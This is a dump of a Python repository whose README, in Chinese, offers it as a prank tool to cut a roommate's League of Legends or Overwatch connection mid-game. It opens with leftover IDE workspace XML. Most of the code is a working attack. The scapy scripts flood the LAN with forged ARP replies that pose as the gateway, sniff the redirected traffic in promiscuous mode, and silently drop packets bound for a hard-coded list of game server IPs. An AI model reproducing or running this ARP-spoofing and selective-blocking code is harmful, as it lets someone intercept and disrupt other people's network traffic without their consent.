editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"266\">\n          <caret line=\"16\" column=\"0\" lean-forward=\"false\" selection-start-line=\"16\" selection-start-column=\"0\" selection-end-line=\"16\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#17#43#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet_investigate.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"38\">\n          <caret line=\"2\" column=\"21\" lean-forward=\"false\" selection-start-line=\"2\" selection-start-column=\"21\" selection-end-line=\"2\" selection-end-column=\"21\" />\n          <folding>\n            <element signature=\"e#88#101#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/start.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"304\">\n          <caret line=\"23\" column=\"26\" lean-forward=\"true\" selection-start-line=\"23\" selection-start-column=\"26\" selection-end-line=\"23\" selection-end-column=\"26\" />\n          <folding>\n            <element signature=\"e#276#289#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/utils.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"95\">\n          <caret line=\"5\" column=\"33\" lean-forward=\"false\" selection-start-line=\"5\" selection-start-column=\"33\" selection-end-line=\"5\" selection-end-column=\"33\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/tools.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"304\">\n          <caret line=\"23\" column=\"19\" lean-forward=\"true\" selection-start-line=\"23\" selection-start-column=\"19\" selection-end-line=\"23\" selection-end-column=\"19\" />\n          <folding>\n            <element signature=\"e#18#29#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/ARP_attack.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/configure.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/multi_process_test.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"1292\">\n          <caret line=\"74\" column=\"0\" lean-forward=\"false\" selection-start-line=\"74\" selection-start-column=\"0\" selection-end-line=\"74\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#61#70#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"266\">\n          <caret line=\"16\" column=\"0\" lean-forward=\"true\" selection-start-line=\"16\" selection-start-column=\"0\" selection-end-line=\"16\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#17#43#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet_investigate.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"38\">\n          <caret line=\"2\" column=\"21\" lean-forward=\"false\" selection-start-line=\"2\" selection-start-column=\"21\" selection-end-line=\"2\" selection-end-column=\"21\" />\n          <folding>\n            <element signature=\"e#88#101#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/start.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"14\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"14\" selection-end-line=\"0\" selection-end-column=\"14\" />\n          <folding>\n            <element signature=\"e#276#289#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/tools.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"1007\">\n          <caret line=\"60\" column=\"0\" lean-forward=\"false\" selection-start-line=\"60\" selection-start-column=\"0\" selection-end-line=\"60\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#18#29#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/utils.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"95\">\n          <caret line=\"5\" column=\"33\" lean-forward=\"false\" selection-start-line=\"5\" selection-start-column=\"33\" selection-end-line=\"5\" selection-end-column=\"33\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/ARP_attack.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"570\">\n          <caret line=\"35\" column=\"25\" lean-forward=\"false\" selection-start-line=\"35\" selection-start-column=\"25\" selection-end-line=\"35\" selection-end-column=\"25\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/configure.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/multi_process_test.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"1292\">\n          <caret line=\"74\" column=\"0\" lean-forward=\"false\" selection-start-line=\"74\" selection-start-column=\"0\" selection-end-line=\"74\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#61#70#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet_investigate.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"38\">\n          <caret line=\"2\" column=\"21\" lean-forward=\"false\" selection-start-line=\"2\" selection-start-column=\"21\" selection-end-line=\"2\" selection-end-column=\"21\" />\n          <folding>\n            <element signature=\"e#88#101#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/start.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"14\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"14\" selection-end-line=\"0\" selection-end-column=\"14\" />\n          <folding>\n            <element signature=\"e#276#289#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/tools.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"1007\">\n          <caret line=\"60\" column=\"0\" lean-forward=\"false\" selection-start-line=\"60\" selection-start-column=\"0\" selection-end-line=\"60\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#18#29#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/utils.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"95\">\n          <caret line=\"5\" column=\"33\" lean-forward=\"false\" selection-start-line=\"5\" selection-start-column=\"33\" selection-end-line=\"5\" selection-end-column=\"33\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"57\">\n          <caret line=\"5\" column=\"19\" lean-forward=\"false\" selection-start-line=\"5\" selection-start-column=\"19\" selection-end-line=\"5\" selection-end-column=\"19\" />\n          <folding>\n            <element signature=\"e#17#43#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/ARP_attack.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"570\">\n          <caret line=\"35\" column=\"25\" lean-forward=\"false\" selection-start-line=\"35\" selection-start-column=\"25\" selection-end-line=\"35\" selection-end-column=\"25\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/configure.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/multi_process_test.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"1292\">\n          <caret line=\"74\" column=\"0\" lean-forward=\"true\" selection-start-line=\"74\" selection-start-column=\"0\" selection-end-line=\"74\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#61#70#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"57\">\n          <caret line=\"5\" column=\"19\" lean-forward=\"true\" selection-start-line=\"5\" selection-start-column=\"19\" selection-end-line=\"5\" selection-end-column=\"19\" />\n          <folding>\n            <element signature=\"e#17#43#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/start.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"14\" lean-forward=\"true\" selection-start-line=\"0\" selection-start-column=\"14\" selection-end-line=\"0\" selection-end-column=\"14\" />\n          <folding>\n            <element signature=\"e#276#289#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/tools.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"1007\">\n          <caret line=\"60\" column=\"0\" lean-forward=\"true\" selection-start-line=\"60\" selection-start-column=\"0\" selection-end-line=\"60\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#18#29#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/utils.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"95\">\n          <caret line=\"5\" column=\"33\" lean-forward=\"true\" selection-start-line=\"5\" selection-start-column=\"33\" selection-end-line=\"5\" selection-end-column=\"33\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet_investigate.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"2394\">\n          <caret line=\"133\" column=\"52\" lean-forward=\"false\" selection-start-line=\"133\" selection-start-column=\"52\" selection-end-line=\"133\" selection-end-column=\"52\" />\n          <folding>\n            <element signature=\"e#88#101#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/ARP_attack.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/ARPattack.py\" />\n    <entry file=\"file://$PROJECT_DIR$/ARPattack.py\" />\n    <entry file=\"file://$PROJECT_DIR$/ARPattack.py\" />\n    <entry file=\"file://$PROJECT_DIR$/ARPspoof.py\" />\n    <entry file=\"file://$PROJECT_DIR$/packet_investigate.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"38\">\n          <caret line=\"2\" column=\"21\" lean-forward=\"false\" selection-start-line=\"2\" selection-start-column=\"21\" selection-end-line=\"2\" selection-end-column=\"21\" />\n          <folding>\n            <element signature=\"e#88#101#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/tools.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"304\">\n          <caret line=\"23\" column=\"19\" lean-forward=\"false\" selection-start-line=\"23\" selection-start-column=\"19\" selection-end-line=\"23\" selection-end-column=\"19\" />\n          <folding>\n            <element signature=\"e#18#29#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/utils.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"95\">\n          <caret line=\"5\" column=\"33\" lean-forward=\"false\" selection-start-line=\"5\" selection-start-column=\"33\" selection-end-line=\"5\" selection-end-column=\"33\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/README.md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"SPLIT\">\n          <first_editor relative-caret-position=\"815\">\n            <caret line=\"130\" column=\"0\" lean-forward=\"true\" selection-start-line=\"130\" selection-start-column=\"0\" selection-end-line=\"130\" selection-end-column=\"0\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/start.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"418\">\n          <caret line=\"29\" column=\"11\" lean-forward=\"false\" selection-start-line=\"29\" selection-start-column=\"11\" selection-end-line=\"29\" selection-end-column=\"11\" />\n          <folding>\n            <element signature=\"e#276#289#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"266\">\n          <caret line=\"16\" column=\"0\" lean-forward=\"false\" selection-start-line=\"16\" selection-start-column=\"0\" selection-end-line=\"16\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#17#43#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/multi_process_test.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"133\">\n          <caret line=\"13\" column=\"15\" lean-forward=\"false\" selection-start-line=\"13\" selection-start-column=\"15\" selection-end-line=\"13\" selection-end-column=\"15\" />\n          <folding>\n            <element signature=\"e#61#70#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/configure.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"437\">\n          <caret line=\"23\" column=\"0\" lean-forward=\"true\" selection-start-line=\"23\" selection-start-column=\"0\" selection-end-line=\"23\" selection-end-column=\"0\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/ARP_attack.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"76\">\n          <caret line=\"4\" column=\"13\" lean-forward=\"false\" selection-start-line=\"4\" selection-start-column=\"13\" selection-end-line=\"4\" selection-end-column=\"13\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n  </component>\n</project>"
  },
  {
    "path": "macOS&&LinuxPlatform/ARP_attack.py",
    "content": "# coding=utf-8\n\nfrom scapy.all import *\nfrom scapy.all import ARP\n\nfrom tools import *\n\n\ndef arp_attack():\n    apr_spoof = ARP()\n\n    psrc = get_gate_way()\n    pdst = get_broadcast()\n    hwsrc = get_mac_address()\n\n    apr_spoof.psrc = psrc\n    apr_spoof.pdst = pdst\n    apr_spoof.hwsrc = hwsrc\n    apr_spoof.op = 2\n\n    while 1:\n        send(apr_spoof)\n        print 'arp sent'\n\n\nconf.sniff_promisc = True\n\n'''\n[ XShortField(\"hwtype\", 0x0001),\n                    XShortEnumField(\"ptype\",  0x0800, ETHER_TYPES),\n                    ByteField(\"hwlen\", 6),\n                    ByteField(\"plen\", 4),\n                    ShortEnumField(\"op\", 1, {\"who-has\":1, \"is-at\":2, \"RARP-req\":3, \"RARP-rep\":4, \"Dyn-RARP-req\":5, \"Dyn-RAR-rep\":6, \"Dyn-RARP-err\":7, \"InARP-req\":8, \"InARP-rep\":9}),\n                    ARPSourceMACField(\"hwsrc\"),\n                    SourceIPField(\"psrc\",\"pdst\"),\n                    MACField(\"hwdst\", ETHER_ANY),\n                    IPField(\"pdst\", \"0.0.0.0\") ]\n'''\nif __name__ == '__main__':\n    arp_attack()\n"
  },
  {
    "path": "macOS&&LinuxPlatform/README.md",
    "content": "# fuckLOL\n> LOL and OW is the most lowest game in the world\n\n### 背景：\n作为一个学习党，总是被室友的打游戏的机械键盘声音吵到么，你还总是被室友的室友要被杀死的绝望叫声所震撼么，你还被室友输了游戏以后久久不能释怀的喃喃自语所心烦么。不用心烦，不用慌张。室友团战断网必备。\n\n### 设计原则\n1. 绝对不打扰到非游戏玩家的网络访问。\n2. 绝对不由抢网速的原因来进行局域网攻击。\n\n### 支持平台\n1. OS X (就是不叫Mac OS)\n2. Linux\n\n### 所用库/所需要的环境\n1. scapy 绝对强大的linux/unix开源网络库\n2. todo\n\n### 支持断网游戏\n1. LOL\n2. OW\n\n### DONE\n1. 针对自己电脑的mac完成整个局域网的ARP欺骗。\n2. 完成了本机ip, 网关ip, 本机mac等的自动抓取,\n\n\n### TODO\n0. 适用性提升\n1. 对于被欺骗的数据链路层的包进行抓包处理，最好可以链路层处理。\n2. 写成一个命令行工具\n\n\n### LOL电信区服务器名单，欢迎添加新的\n\n艾欧尼亚\nIP地址:\n113.105.154.139\nIP所在位置:\n广东省东莞市\n\n祖安\nIP地址:\n115.236.97.160\nIP所在位置:\n浙江省杭州市深圳腾讯杭州分公司\n\n诺克萨斯\nIP地址:\n119.147.107.25\nIP所在位置:\n广东省东莞市\n\n班德尔城\nIP地址:\n182.131.31.18\nIP所在位置:\n四川省成都市电信\n\n皮尔特沃夫\nIP地址:\n115.236.134.77\nIP所在位置:\n浙江省杭州市电信\n\n战争学院\nIP地址:\n183.60.163.63\nIP所在位置:\n广东省东莞市\n\n巨神峰\nIP地址:\n115.236.153.148\nIP所在位置:\n浙江省杭州市电信\n\n雷瑟守备\nIP地址:\n113.105.149.145\nIP所在位置:\n广东省东莞市\n\n裁决之地\nIP地址:\n182.140.134.24\nIP所在位置:\n四川省电信\n\n黑色玫瑰\nIP地址:\n113.105.149.153\nIP所在位置:\n广东省东莞市\n\n暗影岛\nIP地址:\n119.147.117.152\nIP所在位置:\n广东省东莞市\n\n钢铁烈阳\nIP地址:\n182.140.134.40\nIP所在位置:\n四川省电信\n\n水晶之痕\nIP地址:\n115.236.149.92\nIP所在位置:\n浙江省杭州市电信\n\n均衡教派\nIP地址:\n180.96.77.104\nIP所在位置:\n江苏省南京市电信\n\n影流\nIP地址:\n180.96.76.31\nIP所在位置:\n江苏省南京市电信\n\n守望之海\nIP地址:\n180.96.76.185\nIP所在位置:\n江苏省南京市电信\n"
  },
  {
    "path": "macOS&&LinuxPlatform/configure.py",
    "content": "# coding=utf-8\n\nlol_ip_config = [\n    # 艾欧尼亚,\n    '113.105.154.139',\n\n    # 祖安,\n    '115.236.97.160',\n\n    # 诺克萨斯,\n    '119.147.107.25',\n\n    # 班德尔城,\n    '182.131.31.18',\n\n    # 皮尔特沃夫,\n    '115.236.134.77',\n\n    # 战争学院,\n    '183.60.163.63',\n\n    # 巨神峰,\n    '115.236.153.148',\n\n    # 雷瑟守备,\n    '113.105.149.145',\n\n    # 裁决之地,\n    '182.140.134.24',\n\n    # 黑色玫瑰,\n    '113.105.149.153',\n\n    # 暗影岛,\n    '119.147.117.152',\n\n    # 钢铁烈阳\n    '182.140.134.40',\n\n    # 水晶之痕\n    '115.236.149.92',\n\n    # 均衡教派\n    '180.96.77.104',\n\n    # 影流\n    '180.96.76.31',\n\n    # 守望之海\n    '180.96.76.185',\n\n    # 教育网专区\n    '59.78.209.167',\n]\n\now_ip_config = [\n\n]"
  },
  {
    "path": "macOS&&LinuxPlatform/multi_process_test.py",
    "content": "# coding= utf-8\n'''演进过程：\n    1. 先实现即使开了arp也可以完成整个数据包的收发：'''\n\nimport os\nfrom multiprocessing import Process\n\nfrom scapy.all import *\nfrom scapy.all import send\nimport binascii\nfrom packet import PacketEz\n\n'''\ndef sniff_en():\n    conf.sniff_promisc = True\n\n    def prn(packet):\n        raw = packet.__str__()\n        etherheader = struct.unpack('!6s6s', raw[0:12])\n\n        src_mac = packet[0][0].src\n        dst_mac = packet[0][0].dst\n        print src_mac\n        print dst_mac\n\n        src = packet[0][1].src\n        dst = packet[0][1].dst\n\n        packet_ez = Packet_ez(destination_ip=dst,\n                              source_ip=src,\n                              packet_itself=packet,\n                              protocol='ip',\n                              destination_mac=dst_mac,\n                              source_mac=src_mac,\n                              )\n\n        print '============look here==========================='\n\n        print binascii.hexlify(raw)\n        print dst\n        print src\n\n        packet_ez.packet_judge()\n        print src + ' ====> ' + dst\n\n        if src_mac != 'a0:99:9b:0f:aa:45' and dst_mac != 'a0:99:9b:0f:aa:45':\n            print 'lp5!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'\n        print '=============over over over====================='\n        # init the packet\n\n    sniff(filter='ip', prn=prn)\n\n\ndef child_process(name):\n    print \"i am a child process and pid is: \" + str(os.getpid())\n\nif __name__ == '__main__':\n    print 'Parents process: '+str(os.getpid()) + ' now start'\n    child_p = Process(target=child_process, args=('hahaha', ))\n    child_p.start()\n    child_p.join()\n    print \"child_p process is over\"\n\n'''\n\nfrom multiprocessing import Process\nimport os\n\n\n# 子进程要执行的代码\ndef run_proc(name):\n    while (1):\n        print 1\n    print 'Run child process %s (%s)...' % (name, os.getpid())\n\n\nif __name__ == '__main__':\n    print 'Parent process %s.' % os.getpid()\n    p = Process(target=run_proc, args=('test',))\n    print 'Process will start.'\n    p.start()\n    p.join()\n    print 'Process end.'\n"
  },
  {
    "path": "macOS&&LinuxPlatform/packet.py",
    "content": "# coding:utf-8\n\n\nfrom scapy.all import send\nfrom configure import lol_ip_config\nfrom tools import *\n\n\nclass PacketEz(object):\n    def __init__(self, destination_ip, source_ip, destination_mac, source_mac, packet_itself, protocol):\n        self.destination_ip = destination_ip\n        self.source_ip = source_ip\n        self.packet_itself = packet_itself\n        self.protocol = protocol\n        self.destination_mac = destination_mac\n        self.source_mac = source_mac\n\n    def __send_packet(self):\n        send(self.packet_itself)\n        print 'packet send'\n        return \"send_success\"\n\n    def packet_judge(self):\n        if self.destination_ip in lol_ip_config:\n            print 'lol packet! has been abandon...'\n            pass\n        elif self.source_mac == get_mac_address() or self.destination_mac == get_mac_address():\n            print 'loop packet, machine-self packet, abandon'\n            pass\n        elif self.destination_ip == get_broadcast():\n            print 'broadcast packet, abandon'\n            pass\n        else:\n            print 'packet is clean...has judged'\n            self.__send_packet()\n            print 'packet has send'\n        return \"judge_success\"\n"
  },
  {
    "path": "macOS&&LinuxPlatform/packet_investigate.py",
    "content": "# coding=utf-8\n\n# Packet sniffer in python for Linux\n# Sniffs only incoming TCP packet\n\nfrom scapy.all import *\n\nfrom packet import PacketEz\n\nconf.promisc = 1\nconf.sniff_promisc = 1\n\n\ndef main_start():\n    conf.promisc = True\n    conf.sniff_promisc = True\n\n    def prn(packets):\n        raw = packets.__str__()\n\n        src_mac = packets[0][0].src\n        dst_mac = packets[0][0].dst\n\n        src_ip = packets[0][1].src\n        dst_ip = packets[0][1].dst\n\n        packets_ez = PacketEz(\n            destination_ip=dst_ip,\n            source_ip=src_ip,\n            destination_mac=dst_mac,\n            source_mac=src_mac,\n            packet_itself=packets,\n            protocol='ip',\n        )\n        #  log here!\n        print '==============Log here=============='\n\n        print 'attack start!!'\n        print 'This packet mac route is: ' + packets_ez.source_mac + '====>' + packets_ez.destination_mac\n        print 'This packet ip route is: ' + packets_ez.source_ip + '====>' + packets_ez.destination_ip\n        packets_ez.packet_judge()\n\n        print '==============over=================='\n\n    sniff(filter='ip', prn=prn)\n\n\nif __name__ == '__main__':\n    main_start()\n\n'''\n        # TCP protocol\n        if protocol == 6:\n            t = iph_length + eth_length\n            tcp_header = packet[t:t + 20]\n\n            # now unpack them :)\n            tcph = unpack('!HHLLBBHHH', tcp_header)\n\n            source_port = tcph[0]\n            dest_port = tcph[1]\n            sequence = tcph[2]\n            acknowledgement = tcph[3]\n            doff_reserved = tcph[4]\n            tcph_length = doff_reserved >> 4\n\n            print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Sequence Number : ' + str(\n                sequence) + ' Acknowledgement : ' + str(acknowledgement) + ' TCP header length : ' + str(tcph_length)\n\n            h_size = eth_length + iph_length + tcph_length * 4\n            data_size = len(packet) - h_size\n\n            # get data from the packet\n            data = packet[h_size:]\n\n            print 'Data : ' + data\n            return None\n\n        # ICMP Packets\n        elif protocol == 1:\n            u = iph_length + eth_length\n            icmph_length = 4\n            icmp_header = packet[u:u + 4]\n\n            # now unpack them :)\n            icmph = unpack('!BBH', icmp_header)\n\n            icmp_type = icmph[0]\n            code = icmph[1]\n            checksum = icmph[2]\n\n            print 'Type : ' + str(icmp_type) + ' Code : ' + str(code) + ' Checksum : ' + str(checksum)\n\n            h_size = eth_length + iph_length + icmph_length\n            data_size = len(packet) - h_size\n\n            # get data from the packet\n            data = packet[h_size:]\n\n            print 'Data : ' + data\n\n        # UDP packets\n        elif protocol == 17:\n            u = iph_length + eth_length\n            udph_length = 8\n            udp_header = packet[u:u + 8]\n\n            # now unpack them :)\n            udph = unpack('!HHHH', udp_header)\n\n            source_port = udph[0]\n            dest_port = udph[1]\n            length = udph[2]\n            checksum = udph[3]\n\n            print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(\n                length) + ' Checksum : ' + str(checksum)\n\n            h_size = eth_length + iph_length + udph_length\n            data_size = len(packet) - h_size\n\n            # get data from the packet\n            data = packet[h_size:]\n\n            print 'Data : ' + data\n\n        # some other IP packet like IGMP\n        else:\n            print 'Protocol other than TCP/UDP/ICMP'\n        '''\n"
  },
  {
    "path": "macOS&&LinuxPlatform/start.py",
    "content": "# coding=utf-8\n\n'''\n###########################################\n思路:\n\n第一步：实现数据报欺骗：我需要不断的向公网广播自己的arp应答包,把应答包中的目的地址的Mac发过去\n       arp_attack.py 使用一个进程去完成 可以开一个进程去做\n\n第二步：实现对欺骗过来的数据报文的处理：对于所有流入网卡的数据包，\n       检查源地址和目的地址，不匹配ip则进行发送\n#############################################\n'''\n\nfrom ARP_attack import arp_attack\nfrom packet_investigate import main_start\nfrom utils import start_threading\n\nif __name__ == '__main__':\n    start_threading(arp_attack, ())\n\n    start_threading(main_start, ())\n'''\np_1 = Process(target=arp_attack())\np_1.start()\n\np_2 = Process(target=main_start())\np_2.start()\n\n'''\n\n\n\n"
  },
  {
    "path": "macOS&&LinuxPlatform/tools.py",
    "content": "# coding = utf-8\n\nimport os\nimport re\nimport socket\nimport struct\nimport uuid\nfrom platform import system\n\n\ndef get_mac_address():\n    mac = uuid.UUID(int=uuid.getnode()).hex[-12:]\n    return \":\".join([mac[e:e + 2] for e in range(0, 11, 2)])\n\n\ndef get_ip_v4():\n    my_name = socket.getfqdn(socket.gethostname())\n    my_addr = socket.gethostbyname(my_name)\n    return my_addr\n\n\ndef get_gate_way():\n    if system() == 'Linux':\n        with open(\"/proc/net/route\") as fh:\n            for line in fh:\n                fields = line.strip().split()\n                if fields[1] != '00000000' or not int(fields[3], 16) & 2:\n                    continue\n                return socket.inet_ntoa(struct.pack(\"<L\", int(fields[2], 16)))\n    else:\n        inet = get_ip_v4()\n        default_gateway = ''\n        for inet_element in inet.split('.')[0:3]:\n            default_gateway = default_gateway + inet_element + '.'\n        default_gateway += '1'\n        return default_gateway\n\n\ndef get_broadcast():\n    ifconfig_file_like = os.popen('ifconfig')\n    ifconfig = ifconfig_file_like.readlines()\n    broadcast = ''\n    for lines in ifconfig:\n        search_obj = re.search(r'inet (.*) broadcast (.*)\\n', lines, re.M | re.I)\n        try:\n            broadcast = search_obj.group(2)\n        except:\n            pass\n    return broadcast\n\n\nprint '============='\n\nprint get_ip_v4()\nprint get_mac_address()\nprint get_gate_way()\nprint get_broadcast()\n"
  },
  {
    "path": "macOS&&LinuxPlatform/utils.py",
    "content": "# coding=utf-8\n\nimport threading\n\n\ndef start_threading(func, *args):\n    ret = threading.Thread(target=func, args=args)\n    ret.start()\n"
  }
]